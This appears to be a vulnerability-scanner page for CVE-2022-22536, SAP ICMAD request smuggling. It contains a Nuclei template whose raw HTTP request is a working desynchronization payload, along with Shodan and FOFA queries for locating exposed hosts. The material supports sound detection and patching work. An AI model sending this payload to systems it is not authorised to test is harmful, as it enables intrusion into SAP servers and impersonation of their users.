SAP Memory Pipes (MPI) Desynchronization

Exploited in the wild. Listed by CISA on 2022-08-18; known to be used by ransomware.

criticalseverity

10CVSS score

97.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system.

Impact

Successful exploitation of this vulnerability can result in unauthorized access to sensitive data and potential data leakage.

Fix

Apply the latest security patches and updates provided by SAP to mitigate this vulnerability.

How to confirm it

Send: GET {{sap_path}}
Positive when: contains(tolower(body), 'administration') or contains(tolower(header), 'content-type: image/png') AND contains "HTTP/1.0 400 Bad Request" or "HTTP/1.0 500 Internal Server Error" or "HTTP/1.0 500 Dispatching Error" AND status 200

Run it with nuclei: nuclei -id CVE-2022-22536 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-22536

info:
  name: SAP Memory Pipes (MPI) Desynchronization
  author: pdteam
  severity: critical
  description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive data and potential data leakage.
  remediation: |
    Apply the latest security patches and updates provided by SAP to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22536
    - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022
    - https://github.com/Onapsis/onapsis_icmad_scanner
    - https://blogs.sap.com/2022/02/11/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation-in-sap-netweaver-sap-content-server-and-sap-web-dispatcher/
    - https://launchpad.support.sap.com/#/notes/3123396
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-22536
    cwe-id: CWE-444
    epss-score: 0.97945
    epss-percentile: 0.99909
    cpe: cpe:2.3:a:sap:content_server:7.53:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: sap
    product: content_server
    shodan-query: http.favicon.hash:-266008933
    fofa-query: icon_hash=-266008933
  tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes,kev,vkev,vuln

http:
  - raw:
      - |+
        GET {{sap_path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 82646
        Connection: keep-alive

        {{repeat("A", 82642)}}

        GET / HTTP/1.1
        Host: {{Hostname}}

    payloads:
      sap_path:
        # based on https://github.com/Onapsis/onapsis_icmad_scanner
        - /sap/admin/public/default.html
        - /sap/public/bc/ur/Login/assets/corbu/sap_logo.png
    stop-at-first-match: true
    unsafe: true
    read-all: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(tolower(body), 'administration')"
          - "contains(tolower(header), 'content-type: image/png')"
        condition: or

      - type: word
        part: body
        words:
          - "HTTP/1.0 400 Bad Request" # error in concatenated response
          - "HTTP/1.0 500 Internal Server Error"
          - "HTTP/1.0 500 Dispatching Error"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from